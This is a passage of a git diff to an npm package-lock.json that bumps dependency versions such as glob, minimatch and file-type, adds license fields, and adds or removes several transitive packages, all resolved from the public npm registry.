"https://registry.npmjs.org/debug/-/debug-4.4.0.tgz", @@ -779,6 +931,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", "engines": { "node": ">=0.4.0" } @@ -813,6 +966,12 @@ "node": ">= 0.4" } }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT" + }, "node_modules/easy-table": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/easy-table/-/easy-table-1.1.0.tgz", @@ -829,7 +988,8 @@ "node_modules/emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" }, "node_modules/encodeurl": { "version": "2.0.0", @@ -870,6 +1030,7 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", @@ -884,6 +1045,7 @@ "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", "engines": { "node": ">=6" } @@ -897,6 +1059,7 @@ "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "license": "MIT", "engines": { "node": ">=0.8.0" } @@ -1020,33 +1183,23 @@ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz", "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==" }, - "node_modules/external-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", - "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", - "dependencies": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/fast-safe-stringify": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", + "license": "MIT" }, "node_modules/fflate": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz", - "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==" + "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==", + "license": "MIT" }, "node_modules/figures": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", + "license": "MIT", "dependencies": { "escape-string-regexp": "^1.0.5" }, @@ -1058,17 +1211,18 @@ } }, "node_modules/file-type": { - "version": "20.4.1", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-20.4.1.tgz", - "integrity": "sha512-hw9gNZXUfZ02Jo0uafWLaFVPter5/k2rfcrjFJJHX/77xtSDOfJuEFb6oKlFV86FLP1SuyHMW1PSk0U9M5tKkQ==", + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.0.0.tgz", + "integrity": "sha512-ek5xNX2YBYlXhiUXui3D/BXa3LdqPmoLJ7rqEx2bKJ7EAUEfmXgW0Das7Dc6Nr9MvqaOnIqiPV0mZk/r/UpNAg==", + "license": "MIT", "dependencies": { - "@tokenizer/inflate": "^0.2.6", - "strtok3": "^10.2.0", + "@tokenizer/inflate": "^0.2.7", + "strtok3": "^10.2.2", "token-types": "^6.0.0", "uint8array-extras": "^1.4.0" }, "engines": { - "node": ">=18" + "node": ">=20" }, "funding": { "url": "https://github.com/sindresorhus/file-type?sponsor=1" @@ -1105,15 +1259,16 @@ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", "url": "https://github.com/sponsors/RubenVerborgh" } ], + "license": "MIT", "engines": { "node": ">=4.0" }, @@ -1123,6 +1278,22 @@ } } }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/form-data": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", @@ -1156,9 +1327,10 @@ } }, "node_modules/fs-extra": { - "version": "11.3.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.0.tgz", - "integrity": "sha512-Z4XaCL6dUDHfP/jT25jJKMmtxvuwbkrD1vNSMFlo9lNLY2c5FHYSQgHPRZUjAB26TpDEoW9HCOgplrdbaPV/ew==", + "version": "11.3.2", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", + "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", + "license": "MIT", "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", @@ -1168,11 +1340,6 @@ "node": ">=14.14" } }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" - }, "node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", @@ -1185,6 +1352,7 @@ "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", "engines": { "node": "6.* || 8.* || >= 10.*" } @@ -1238,17 +1406,23 @@ } }, "node_modules/glob": { - "version": "9.3.5", - "resolved": "https://registry.npmjs.org/glob/-/glob-9.3.5.tgz", - "integrity": "sha512-e1LleDykUz2Iu+MTYdkSsuWX8lvAjAcs0Xef0lNIu0S2wOAzuTxCJtcd9S3cijlwYF18EsU3rzb8jPVobxDh9Q==", + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-11.0.3.tgz", + "integrity": "sha512-2Nim7dha1KVkaiF4q6Dj+ngPPMdfvLJEOpZk/jKiUAkqKebpGAWQXAq9z1xu9HKu5lWfqw/FASuccEjyznjPaA==", + "license": "ISC", "dependencies": { - "fs.realpath": "^1.0.0", - "minimatch": "^8.0.2", - "minipass": "^4.2.4", - "path-scurry": "^1.6.1" + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.0.3", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "bin": { + "glob": "dist/esm/bin.mjs" }, "engines": { - "node": ">=16 || 14 >=14.17" + "node": "20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" @@ -1268,7 +1442,8 @@ "node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" }, "node_modules/has-flag": { "version": "4.0.0", @@ -1293,6 +1468,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", "dependencies": { "has-symbols": "^1.0.3" }, @@ -1381,7 +1557,8 @@ "type": "consulting", "url": "https://feross.org/support" } - ] + ], + "license": "BSD-3-Clause" }, "node_modules/inherits": { "version": "2.0.4", @@ -1389,15 +1566,16 @@ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "node_modules/inquirer": { - "version": "8.2.6", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.6.tgz", - "integrity": "sha512-M1WuAmb7pn9zdFRtQYk26ZBoY043Sse0wVDdk4Bppr+JOXyQYybdtvK+l9wUibhtjdjvtoiNy8tk+EgsYIUqKg==", + "version": "8.2.7", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.7.tgz", + "integrity": "sha512-UjOaSel/iddGZJ5xP/Eixh6dY1XghiBw4XK13rCCIJcJfyhhoul/7KhLLUGtebEj6GDYM6Vnx/mVsjx2L/mFIA==", + "license": "MIT", "dependencies": { + "@inquirer/external-editor": "^1.0.0", "ansi-escapes": "^4.2.1", "chalk": "^4.1.1", "cli-cursor": "^3.1.0", "cli-width": "^3.0.0", - "external-editor": "^3.0.3", "figures": "^3.0.0", "lodash": "^4.17.21", "mute-stream": "0.0.8", @@ -1437,6 +1615,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", "engines": { "node": ">=8" } @@ -1445,6 +1624,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "license": "MIT", "engines": { "node": ">=8" } @@ -1453,6 +1633,7 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "license": "MIT", "engines": { "node": ">=10" }, @@ -1460,23 +1641,46 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, "node_modules/iterare": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/iterare/-/iterare-1.2.1.tgz", "integrity": "sha512-RKYVTCjAnRthyJes037NX/IiqeidgN1xc3j1RjFfECFp28A1GVwK9nA+i0rJPaHqSZwygLzRnFlzUuHFoWWy+Q==", + "license": "ISC", "engines": { "node": ">=6" } }, + "node_modules/jackspeak": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.1.1.tgz", + "integrity": "sha512-zptv57P3GpL+O0I7VdMJNBZCu+BPHVQUk55Ft8/QCJjTVxrnJHuVuX/0Bl2A6/+2oyR/ZMEuFKwmzqqZ/U5nPQ==", + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/jsbn": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz", "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==" }, "node_modules/jsonfile": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", - "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "license": "MIT", "dependencies": { "universalify": "^2.0.0" }, @@ -1498,6 +1702,7 @@ "url": "https://buymeacoffee.com/borewit" } ], + "license": "MIT", "engines": { "node": ">=13.2.0" } @@ -1505,12 +1710,14 @@ "node_modules/lodash": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" }, "node_modules/log-symbols": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "license": "MIT", "dependencies": { "chalk": "^4.1.0", "is-unicode-supported": "^0.1.0" @@ -1523,9 +1730,13 @@ } }, "node_modules/lru-cache": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==" + "version": "11.2.2", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.2.tgz", + "integrity": "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg==", + "license": "ISC", + "engines": { + "node": "20 || >=22" + } }, "node_modules/math-intrinsics": { "version": "1.1.0", @@ -1593,30 +1804,33 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "license": "MIT", "engines": { "node": ">=6" } }, "node_modules/minimatch": { - "version": "8.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-8.0.4.tgz", - "integrity": "sha512-W0Wvr9HyFXZRGIDgCicunpQ299OKXs9RgZfaukz4qAW/pJhcpUfupc9c+OObPOFueNy8VSrZgEmDtk6Kh4WzDA==", + "version": "10.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.0.3.tgz", + "integrity": "sha512-IPZ167aShDZZUMdRk66cyQAW3qr0WzbHkPdMYa8bzZhlHhO3jALbKdxcaak7W9FfT2rZNpQuUu4Od7ILEpXSaw==", + "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "@isaacs/brace-expansion": "^5.0.0" }, "engines": { - "node": ">=16 || 14 >=14.17" + "node": "20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/minipass": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-4.2.8.tgz", - "integrity": "sha512-fNzuVyifolSLFL4NzpF+wEF4qrgqaaKX0haXPQEdQ7NKAN+WecoKMHV09YcuL/DHxrUsYQOK3MiuDf7Ip2OXfQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "license": "ISC", "engines": { - "node": ">=8" + "node": ">=16 || 14 >=14.17" } }, "node_modules/ms": { @@ -1627,7 +1841,8 @@ "node_modules/mute-stream": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", - "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "license": "ISC" }, "node_modules/negotiator": { "version": "0.6.3", @@ -1690,6 +1905,7 @@ "version": "5.1.2", "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "license": "MIT", "dependencies": { "mimic-fn": "^2.1.0" }, @@ -1704,6 +1920,7 @@ "version": "5.4.1", "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "license": "MIT", "dependencies": { "bl": "^4.1.0", "chalk": "^4.1.0", @@ -1722,14 +1939,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/pac-proxy-agent": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.2.0.tgz", @@ -1760,6 +1969,12 @@ "node": ">= 14" } }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0" + }, "node_modules/parseurl": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", @@ -1768,49 +1983,40 @@ "node": ">= 0.8" } }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/path-scurry": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", - "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.0.tgz", + "integrity": "sha512-ypGJsmGtdXUOeM5u93TyeIEfEhM6s+ljAhrk5vAvSx8uyY/02OvrZnA0YNGUrPXfpJMgI1ODd3nwz8Npx4O4cg==", + "license": "BlueOak-1.0.0", "dependencies": { - "lru-cache": "^10.2.0", - "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" }, "engines": { - "node": ">=16 || 14 >=14.18" + "node": "20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/path-scurry/node_modules/minipass": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", - "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, "node_modules/path-to-regexp": { "version": "8.2.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.2.0.tgz", "integrity": "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ==", + "license": "MIT", "engines": { "node": ">=16" } }, - "node_modules/peek-readable": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-7.0.0.tgz", - "integrity": "sha512-nri2TO5JE3/mRryik9LlHFT53cgHfRK0Lt0BAZQXku/AW3E6XLt2GaY8siWi7dvW/m1z0ecn+J+bpDa9ZN3IsQ==", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, "node_modules/proxy-addr": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", @@ -1894,6 +2100,7 @@ "version": "3.6.2", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -1906,17 +2113,14 @@ "node_modules/reflect-metadata": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz", - "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==" - }, - "node_modules/regenerator-runtime": { - "version": "0.14.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", - "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0" }, "node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", "engines": { "node": ">=0.10.0" } @@ -1925,6 +2129,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "license": "MIT", "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" @@ -1933,10 +2138,17 @@ "node": ">=8" } }, + "node_modules/restore-cursor/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, "node_modules/run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", + "license": "MIT", "engines": { "node": ">=0.12.0" } @@ -1945,6 +2157,7 @@ "version": "7.8.2", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz", "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "license": "Apache-2.0", "dependencies": { "tslib": "^2.1.0" } @@ -2036,6 +2249,39 @@ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": 